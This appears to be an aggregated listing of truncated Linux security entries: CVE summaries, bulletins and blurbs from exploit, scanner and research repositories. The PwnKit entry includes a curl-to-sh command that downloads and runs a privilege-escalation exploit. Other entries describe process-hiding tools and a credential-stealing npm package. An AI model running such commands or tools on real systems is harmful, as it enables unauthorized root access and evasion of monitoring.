CVE-2026-98229

A flaw was found in the Linux kernel's XFRM IPsec subsystem. During incoming packet processing, certain network receive paths can reset security context information before the system finishes handling the IPsec state. If that state is concurrently deleted, the kernel can dereference freed memory,...

CVE-2026-98225

A flaw was found in the Linux kernel's memory management subsystem. A local attacker can trigger kernel warnings and potentially cause a Denial of Service DoS or system instability when kernel memory accounting is disabled. Under this configuration, memory shrinker identifiers are not properly...

CVE-2026-98228

A flaw was found in the Linux kernel's MIPS architecture support for Mobileye EyeQ platforms. On affected systems, atomic operations lack required memory synchronization barriers, which allows the processor to improperly reorder memory access. A local user can exploit this race condition through...

CVE-2026-98226

A flaw was found in the Linux kernel's swap subsystem. An internal tracking bit overlaps with the active page counter when swap utilization reaches very large capacities, causing the kernel to miscalculate active swap space. A local user capable of allocating enough memory to reach this threshold...

CVE-2022-0847-Linux

CVE-2022-0847 Description - POC for CVE-2022-0847: Linux Kernel Local Privilege Escalation Vulnerability. - create by antx at 2022-03-08. Detail - Security researcher Max Kellermann responsibly disclosed the 'Dirty Pipe' vulnerability and stated that it affects Linux Kernel 5.8 and later...

cyclepatrol

CyclePatrol -informational CyclePatrol is one Bash script, cp.sh. It is a Wi-Fi security assessment tool for the terminal. It runs on Linux and Android Kali NetHunter. It needs root. The tool runs in a loop. In each round it: 1. scans nearby Wi-Fi networks, 2. parses each beacon and reads the...

CVE_2026_31694

CVE-2026-31694 Passive Scanner A passive Linux host assessment tool for CVE-2026-31694 , a FUSE readdir-cache out-of-bounds write in the Linux kernel. The scanner evaluates the running kernel, FUSE exposure, local package metadata, kernel source evidence, execution environment, and operating-syst...

KERNELexploits

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...

Malicious code in @galicia-toolkit-nestjs-20/commons (npm)

Source: amazon-inspector 5b719740efc4b3e93e85668e2e787b39a8d91e15abbe9c39f5d156e118745caa On require, index.js loads a bundled ELF native addon at prebuilds/linux-x64/metrics.node inside a silent try/catch. The addon reads CI/cloud credential environment variables AWSSECRETACCESSKEY and related...

DirtyAH6

DirtyAH6 CVE-2026-80844 Writeup !WARNING The PoC is provided solely to help defenders, maintainers, and authorized security teams validate patches, mitigations, detections, and exposure on systems they own or are explicitly authorized to test. You are solely responsible for ensuring that your use...

copyfail

Copy Fail CVE-2026-31431 – Exploit Usage Guide Original Readme taken from @painoob All Kernel versions since 2017 / 2016 are vulnerable ! Kernel 7 is fully immune, others between 5-7 may still be vulnerable ⚠️ Disclaimer This content is for educational and authorized security testing purposes only...

CVE-2026-64561-Kernel-Fix

中文 | English 中文 升级 Linux Kernel 修复 CVE-2026-64561 教程 声明： 本文仅记录本人服务器环境下的修复过程，并非安全专业分析。如有不当之处，欢迎指正。 一、简介 本文档提供两种方式将 Linux Kernel 升级，用于修复 CVE-2026-64561 ：ELRepo RPM 安装（推荐）和源码编译。 项目| 说明 ---|--- CVE 编号| CVE-2026-64561 漏洞组件| Linux Kernel KVM/x86 修复方式| 升级 Linux Kernel（ELRepo RPM 或源码编译） 三、升级方法...

kernel: udp: fix potential use-after-free in tunnel segmentation

A flaw was found in the Linux kernel's UDP User Datagram Protocol tunnel segmentation. This vulnerability arises when the system attempts to process network packets, specifically in the skbudptunnelsegment function. An attacker could potentially exploit a use-after-free condition, where the syste...

Security Bulletin: Multiple vulnerabilities in IBM Cloud Pak System

Summary Multiple vulnerabilities were found in linux kernel, libssh expat, libssh, openSSL in Platform System Manager PSM OS Image for Red Hat Enterprise Linux v8 shipped with IBM Cloud Pak System. Those vulnerabilities were addressed in IBM Cloud Pak System version 2.3.6.2. Vulnerability Details...

CVE-2017-6074-DOS

CVE-2017-6074 - DoS-Only Exploit Linux DCCP kernel panic This repository provides a modified version of the original CVE-2017-6074 exploit use-after-free in the Linux kernel DCCP subsystem, designed only to demonstrate Denial of Service DoS impact. An authenticated local user can trigger a kernel...

file-notification-attacks

File Notification Attacks - Artifacts This repository contains the still in review! artifacts for the paper "File Notification Attacks: Templating and Exploiting Side-Channel Leakage from the File-Notification Systems on Linux, Windows, and macOS", accepted at CCS '26. Visit the website with demo...

libprocesshider

libprocesshider Nascondi un processo sotto Linux usando il preloader ld. Tutorial completo disponibile su https://sysdigcloud.com/hiding-linux-processes-for-fun-and-profit/ In breve, compila la libreria: gianluca@sid:/libprocesshider$ make gcc -Wall -fPIC -shared -o libprocesshider.so...

Darkcloak

DARKCLOAK Linux process identity cloaking DARKCLOAK chains the manipulation of all userspace-visible identity sources into an 11-phase sequential pipeline that progressively transforms a process until it becomes indistinguishable from the impersonated one to userspace monitoring tools. To the bes...

CVE-2015-1328

CVE-2015-1328 TryHackMe Walkthrough – Linux Kernel Privilege Escalation CVE-2015-1328 Objective The goal of this walkthrough was to escalate privileges from a low-privileged user karen to root by exploiting a vulnerable Linux kernel. Step 1 – Initial Enumeration After connecting to the target...

Dirty-Frag-Research-CVE-2026-43284-

CVE-2026-43284 Dirty Frag – Linux Kernel Vulnerability Research Overview This repository documents a complete defensive security research project focused on CVE-2026-43284 Dirty Frag , a Linux kernel vulnerability affecting the XFRM/IPsec networking subsystem. The goal of this project is not to...